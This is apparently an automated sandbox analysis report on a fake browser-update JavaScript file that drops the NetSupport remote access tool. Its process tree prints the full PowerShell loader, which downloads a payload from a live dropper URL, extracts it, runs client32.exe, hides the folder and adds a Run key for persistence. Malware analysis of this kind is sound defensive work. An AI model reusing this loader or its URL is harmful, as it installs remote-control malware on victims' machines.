Analysis
- max time kernel
77s - max time network
85s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
22/03/2024, 17:36
General
- Target Update_121.0.616.js
- Size 2.1MB
- Sample240322-v621dsec62
- SHA256 6369daabaaddeae0814f8ad5a1a931d180a32d7ef9c5738215aead2f6a90849c
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://edulokam.com/data.php?11245
-
exe.dropper
https://edulokam.com/data.php?11245
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 5 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update_121.0.616.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HnNKeNXPxrsDgghL='https://edulokam.com/data.php?11245';$kaXfrnaBqEehUrhGaSQJKDJPltVqRaUrr=(New-Object System.Net.WebClient).DownloadString($HnNKeNXPxrsDgghL);$HVdGHZakbvkMCJvyJv=[System.Convert]::FromBase64String($kaXfrnaBqEehUrhGaSQJKDJPltVqRaUrr);$zxc = Get-Random -Minimum -10 -Maximum 37; $jFiIvMrNhWvsawDutNEwVeYMXHvvQ=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ -PathType Container)) { New-Item -Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ -ItemType Directory };$p=Join-Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ 'WWW.zip';[System.IO.File]::WriteAllBytes($p,$HVdGHZakbvkMCJvyJv);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$jFiIvMrNhWvsawDutNEwVeYMXHvvQ)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else { Write-Host 'No exe.'};$AZ=Get-Item $jFiIvMrNhWvsawDutNEwVeYMXHvvQ -Force; $AZ.attributes='Hidden';$s=$jFiIvMrNhWvsawDutNEwVeYMXHvvQ+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\DIVX30\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX30\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4120 --field-trial-handle=2272,i,4858140932023865871,5726683989663339295,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_0h2qhnwo.wfx.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
pcicapi.dll
pcichek.dll
memory/4812-20-0x00000164AEBB0000-0x00000164AEBC0000-memory.dmp
memory/4812-25-0x00000164AEF90000-0x00000164AEFA2000-memory.dmp
memory/4812-95-0x00007FFDB7FE0000-0x00007FFDB8AA1000-memory.dmp
memory/4812-24-0x00000164AEF60000-0x00000164AEF6A000-memory.dmp
memory/4812-22-0x00000164AEBB0000-0x00000164AEBC0000-memory.dmp
memory/4812-21-0x00000164AEBB0000-0x00000164AEBC0000-memory.dmp
memory/4812-19-0x00007FFDB7FE0000-0x00007FFDB8AA1000-memory.dmp
memory/4812-14-0x00000164AEBF0000-0x00000164AEC12000-memory.dmp